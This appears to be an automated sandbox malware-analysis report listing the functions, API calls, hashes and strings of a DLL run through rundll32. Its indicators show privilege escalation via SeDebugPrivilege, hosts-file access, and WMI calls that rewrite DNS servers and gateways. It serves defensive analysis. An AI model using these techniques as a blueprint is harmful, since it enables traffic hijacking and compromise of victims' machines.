Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 854aff89b505d9f21911f8c1ba55fbf1c8cc102515e225042a2c32485127d58f
Instruction ID: 6451e9acda46e7ae8c67071bb3abdc211bd966f3bbc7d4a56457b69d03684d62
Opcode Fuzzy Hash: 854aff89b505d9f21911f8c1ba55fbf1c8cc102515e225042a2c32485127d58f
Instruction Fuzzy Hash: B2B092B09016248BEB12CF608C8844B3764A30C2413448405F920C3228E734C008DB10

Function 100016B0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(033F7070), ref: 100016C6

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f0908b3c00027b1b6766c7a861152c97f68057995d64c84cdc6b6950141695e5
Instruction ID: f44bec48cfd1db76282749f53c4335c8f231482f3a8341f8f54339fd7f20c475
Opcode Fuzzy Hash: f0908b3c00027b1b6766c7a861152c97f68057995d64c84cdc6b6950141695e5
Instruction Fuzzy Hash: 5EB092B4800620DBEA228F608CC840736A4A30C241310C801F910C3224D734C004DB60

Function 10001710 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(033F5060), ref: 10001726

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ab9ae1063b3321a9dca9df484140cc1d72058cb032d66644504e5a3d9c28704e
Instruction ID: 01a5768d41d78c628a35912e35f35776f9a67f167c5283b5b972b0fbab8e5750
Opcode Fuzzy Hash: ab9ae1063b3321a9dca9df484140cc1d72058cb032d66644504e5a3d9c28704e
Instruction Fuzzy Hash: A1B092B88005208BE612CB60898840B3675A30C2813008101FA10C3224E734C0009B20

Function 10004C60 Relevance: 1.5, APIs: 1, Instructions: 4registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,74DF0F00), ref: 10004C65

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: ab5e289189027fa5173076accd2a09c4160f3ba94fff289705bc0327fdc0764d
Instruction ID: 915426f7239b9cb48ebf138ba431655957d97aef7f5178b11ca68321cf6e6836
Opcode Fuzzy Hash: ab5e289189027fa5173076accd2a09c4160f3ba94fff289705bc0327fdc0764d
Instruction Fuzzy Hash: C1A00275904610AFDE40DBE4DA8C81A77F8AB85712B00C845F146C3510D634D840DB11

Function 10004890 Relevance: 1.5, APIs: 1, Instructions: 4networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32(?), ref: 10004895

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: gethostbyname
String ID:
API String ID: 930432418-0
Opcode ID: 50365e01bdaa580be6bb6383309374887bc137a38b4d224bf2d268161eb1372f
Instruction ID: 26478d519f0170d2f3c1910e6c0f6e08a92a4de9d16a5e5f2b495c288a005660
Opcode Fuzzy Hash: 50365e01bdaa580be6bb6383309374887bc137a38b4d224bf2d268161eb1372f
Instruction Fuzzy Hash: 1EA00275908214ABDE00DBA5CA8C81E77E8BF85701B00C844F145C2110CA34D844DB51

Function 10004A10 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

PathFileExistsA.SHLWAPI(?,1000BB9A,c:\agtve\ReadMe.txt,SeDebugPrivilege,00000001), ref: 10004A15

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: a2ead1cd667fb061e5310f991c7bc1f390f2f87bae4bb2e0e60ae8b5a9b1b8f4
Instruction ID: ec750d28cb6fbb977bf46ecf5412cbf52607359abee085474d97c5188552acf2
Opcode Fuzzy Hash: a2ead1cd667fb061e5310f991c7bc1f390f2f87bae4bb2e0e60ae8b5a9b1b8f4
Instruction Fuzzy Hash: F4A00275904210AFDF00DBF4CA8C81A77E8ABC5701B00C844F145C3110D674D850DB11

Function 10004B30 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(10019D30,1000B666,10019D30), ref: 10004B35

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 7196cfdbc03724b64f0cbb3baeb96423ea548a19a07590a7764bab302cc12c8f
Instruction ID: 9c3019adaafa634595d2db0f921d36bac7b56a2a79f4b30dc892680141a0bc5c
Opcode Fuzzy Hash: 7196cfdbc03724b64f0cbb3baeb96423ea548a19a07590a7764bab302cc12c8f
Instruction Fuzzy Hash: 74A002B5A04210ABDE00EBA5CB8C91A77FCAB89701B008845F549C2011C678DC40DB11

Function 10021790 Relevance: 1.3, APIs: 1, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 100217ED

Memory Dump Source

Source File: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1b9a90a861be483b221b99874f8e2b3b106077afceec4b8f99b5110b6b4da362
Instruction ID: 2c76a93c93dfa73a3cc5bc0969654cda5b929ba325a9910453c2048308b3be31
Opcode Fuzzy Hash: 1b9a90a861be483b221b99874f8e2b3b106077afceec4b8f99b5110b6b4da362
Instruction Fuzzy Hash: D9016D35E843289FDB61CF28CC087C8B7F1EB44351F6100A8E688B7285D7B5AE818E44

Non-executed Functions

Function 10006090 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 1000610E
strncpy.MSVCRT ref: 10006125
strncpy.MSVCRT ref: 1000612F
GetSystemInfo.KERNEL32(?), ref: 10006139
GetCurrentProcess.KERNEL32(00000020,?), ref: 1000615A
OpenProcessToken.ADVAPI32(00000000), ref: 10006161
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 10006172
AdjustTokenPrivileges.ADVAPI32 ref: 100061A7
CloseHandle.KERNEL32(00000010), ref: 100061B2
sscanf.MSVCRT ref: 100061DD

Strings

%[^, xrefs: 100061D3
etc\hosts, xrefs: 100061B8, 100061D8
SeDebugPrivilege, xrefs: 1000616C
c:\agtve, xrefs: 10006104

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessTokenstrncpy$AdjustCloseCurrentHandleInfoLookupOpenPrivilegePrivilegesSystemValuesscanfstrrchr
String ID: %[^$SeDebugPrivilege$c:\agtve$etc\hosts
API String ID: 3677170833-1810064220
Opcode ID: 1d3e106431755b1c910628fea7e204a29dca4c5e9b862ff13ab7f723e560162f
Instruction ID: 40014daf93b6d2639d90dc8878842a3feb4d3ad8defe4510b3edf01b2d76c729
Opcode Fuzzy Hash: 1d3e106431755b1c910628fea7e204a29dca4c5e9b862ff13ab7f723e560162f
Instruction Fuzzy Hash: 403156B5904360AFE310DF65CDC9A6BBBE8FF8A310F40851AF645866A1D7B4D580CB62

Function 10005A10 Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 473COMMON

Download Yara Rule

APIs

wcscat.MSVCRT ref: 10005B73
InterlockedDecrement.KERNEL32(00000008), ref: 10005E38
_strcmpi.MSVCRT ref: 10005E55
InterlockedDecrement.KERNEL32(00000008), ref: 10005F59

Strings

CommandLine, xrefs: 10005D1B
WQL, xrefs: 10005C19, 10005C2F
SELECT * FROM , xrefs: 10005B43
Name, xrefs: 10005D04
svchost.exe -k NetworkService, xrefs: 10005F73
svchost.exe, xrefs: 10005E4F
ProcessID, xrefs: 10005D32

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked$_strcmpiwcscat
String ID: CommandLine$Name$ProcessID$SELECT * FROM $WQL$svchost.exe$svchost.exe -k NetworkService
API String ID: 1133782235-2685825574
Opcode ID: 0ce223196c44f2370e13e00feec4bfde119dc900f9d0c8cd7ae9a200d1607e84
Instruction ID: 0bcee575146c1e5c4bc0c3f0e2efc98e3102ad08c7b031823cab273adbecfb8d
Opcode Fuzzy Hash: 0ce223196c44f2370e13e00feec4bfde119dc900f9d0c8cd7ae9a200d1607e84
Instruction Fuzzy Hash: F502C4715043469FE720DF64C884AAFB7E9FB88394F008A2DF5999B280DB75DD81CB52

Function 10009640 Relevance: 16.9, Strings: 13, Instructions: 688COMMON

Download Yara Rule

Strings

Win32_NetworkAdapterConfiguration.Index=, xrefs: 100099AB
SetGateways, xrefs: 10009A5B, 10009C8A
Win32_NetworkAdapterConfiguration, xrefs: 10009683, 1000974A, 100097A8
Index, xrefs: 10009937
ROOT\CIMV2, xrefs: 100096DA
GatewayCostMetric, xrefs: 10009C0B
DNSServerSearchOrder, xrefs: 10009E33
WQL, xrefs: 10009874
SetDNSServerSearchOrder, xrefs: 10009D5C, 10009E84
DefaultIPGateway, xrefs: 10009B8C
SELECT * FROM , xrefs: 1000979A
IPEnabled=TRUE, xrefs: 100097E5, 10009831
WHERE , xrefs: 100097FC

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked
String ID: WHERE $DNSServerSearchOrder$DefaultIPGateway$GatewayCostMetric$IPEnabled=TRUE$Index$ROOT\CIMV2$SELECT * FROM $SetDNSServerSearchOrder$SetGateways$WQL$Win32_NetworkAdapterConfiguration$Win32_NetworkAdapterConfiguration.Index=
API String ID: 3448037634-1913130381
Opcode ID: 51b101c3c0528bff3dc3a5a8d8054af0c5bfe4afcaa312b89b4ad1427c49d158
Instruction ID: 422aa8304ea0dd682b4161e69f4c579d617248279d3008b81ee9107976b9911b
Opcode Fuzzy Hash: 51b101c3c0528bff3dc3a5a8d8054af0c5bfe4afcaa312b89b4ad1427c49d158
Instruction Fuzzy Hash: 02427F706083819FE364CB68C881B6BBBE4FF85384F10492DF599D7295DB70E949CB52

Function 10006BF0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 10006C32
sprintf.MSVCRT ref: 10006D56

Strings

Win %s SP%d, xrefs: 10006D50
2008, xrefs: 10006CFF
2003, xrefs: 10006CBB
Vista, xrefs: 10006CD2
2000, xrefs: 10006C8A

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Versionsprintf
String ID: 2000$2003$2008$Vista$Win %s SP%d
API String ID: 1728264858-2264339393
Opcode ID: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction ID: 2420705a5d847b29da7bc657143dca2d79446832891e12a74f3d8b2563089a91
Opcode Fuzzy Hash: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction Fuzzy Hash: 7531E6357043445BF724C524C850AABB7D7F7C9360FA18B2EE95ACB384DA74DD098652

Function 100052A0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 10005333
wsprintfA.USER32 ref: 1000537B
FindNextFileA.KERNEL32(?,?,?,?,?,00000000,?,?,00000000), ref: 100053E8
FindClose.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 100053FB

Strings

., xrefs: 1000539C
%s\%s, xrefs: 10005375
\*.*, xrefs: 100052FB

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$.$\*.*
API String ID: 180737720-2210278135
Opcode ID: 6158b02a40cfa1e8ece74248f2afa690ecc6b7e7278f8e02395cafd1e3e61bb4
Instruction ID: 2e1d4cd89514877abfd59c36d78a4daaf7955f10aa71ebe425ca93e7152c8260
Opcode Fuzzy Hash: 6158b02a40cfa1e8ece74248f2afa690ecc6b7e7278f8e02395cafd1e3e61bb4
Instruction Fuzzy Hash: B63117765043445BD328CA74CC45AEBB7D9FBC8360F144F1DF6A6832C1DEB5DA088652

Function 10010400 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 619COMMON

Download Yara Rule

Strings

T, xrefs: 10010739
U, xrefs: 10010734
/, xrefs: 100104D8

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: /$T$U
API String ID: 0-733984016
Opcode ID: 525556d3e7044afcf2c16f4ef111071ab16cb3c8bd6f93a204e44dd9c90e561f
Instruction ID: 54e231698d8399043daabedda60659547f47bf3691f9c67918a969528f04d64c
Opcode Fuzzy Hash: 525556d3e7044afcf2c16f4ef111071ab16cb3c8bd6f93a204e44dd9c90e561f
Instruction Fuzzy Hash: 6822E0357083848BD714CE2894907AFBBE1EFC5350F54492EF9C98B382DAB5D989C792

Function 100100A0 Relevance: 3.1, APIs: 2, Instructions: 55timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 100100D5
SystemTimeToFileTime.KERNEL32(?,?), ref: 100100E5

Part of subcall function 1000F800: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?), ref: 1000F80D

Part of subcall function 1000F7D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000F7EC

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 3c7b63944ef902037c5997f2c77d2aef4e3869aed4e7be9e2536b261e6034266
Instruction ID: 995162f2c5de06f072ebb5dfe50ac0562f18bd270405066c96cf5d8846fcc540
Opcode Fuzzy Hash: 3c7b63944ef902037c5997f2c77d2aef4e3869aed4e7be9e2536b261e6034266
Instruction Fuzzy Hash: CB2192B5914B419FD364CF69C885A67BBE4FF88604F008E2EE5DAC3611E774E508CB51

Function 1000EF70 Relevance: 2.9, Strings: 2, Instructions: 405COMMON

Download Yara Rule

Strings

K, xrefs: 1000EF93
P, xrefs: 1000EF84

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: K$P
API String ID: 0-420285281
Opcode ID: 1c7b2ccdeeeddba721736ec1dc4bfc125495b0ad89618cf55ada5aa0aec28a9a
Instruction ID: d915cf7a3844b20744192fc994c5be6d907e7ce11dd85da2ee4327704e6dc918
Opcode Fuzzy Hash: 1c7b2ccdeeeddba721736ec1dc4bfc125495b0ad89618cf55ada5aa0aec28a9a
Instruction Fuzzy Hash: 67D18D30119381AFD621CB698CC0EABFBF9AFDAB00F44490DF6D593291D6A1E5498762

Function 1000EB80 Relevance: 2.8, Strings: 2, Instructions: 275COMMON

Download Yara Rule

Strings

PTU, xrefs: 1000EB9B, 1000EBA1
K, xrefs: 1000EBA3

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: K$PTU
API String ID: 0-3860820754
Opcode ID: d9d7c021faa5aa006803064c67ea797f7eddb5ea43c61edc3565542cf26a862f
Instruction ID: 57dcef8c008dabf52abf9e4636a7a5e332a2cb07ba24af8fd2032e897ee0a7d3
Opcode Fuzzy Hash: d9d7c021faa5aa006803064c67ea797f7eddb5ea43c61edc3565542cf26a862f
Instruction Fuzzy Hash: AB91913011A3856EDB04DB688CC0E9BFBED9FD6704F04494EFA809B296D5E1D549CBB2

Function 10004B90 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,00000000,1000718E), ref: 10004BAE

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 5c29c102cc9c653389ecacc8ddbee5a51ee40a280c19b6b36d48fb2c7fee9579
Instruction ID: 4a3738c88aa3e83466f495a16826e8226183112536dd6560dab8ac3166fdef8a
Opcode Fuzzy Hash: 5c29c102cc9c653389ecacc8ddbee5a51ee40a280c19b6b36d48fb2c7fee9579
Instruction Fuzzy Hash: 50D06CF5208342AF9708CF48D984C3BB7E9BBC8600F048D0CB59683210C730E849CB62

Function 100049F0 Relevance: 1.5, APIs: 1, Instructions: 6shutdownCOMMON

Download Yara Rule

APIs

ExitWindowsEx.USER32(?,00000000), ref: 100049FA

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ExitWindows
String ID:
API String ID: 1089080001-0
Opcode ID: a826d04bc4acaab0df248578ff412a1e3f22f76450817561718ce58b9e070933
Instruction ID: 6834376b89d028fd7ceef46dd2decc3cf13db427bf36252ff7f61f5970c34d6c
Opcode Fuzzy Hash: a826d04bc4acaab0df248578ff412a1e3f22f76450817561718ce58b9e070933
Instruction Fuzzy Hash: E2B092B4104200ABDA04CBA0C98493A77A8AB88200B00880CF48582210C630D841CA11

Function 1000DB90 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

bad d_code, xrefs: 1000DC8E

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

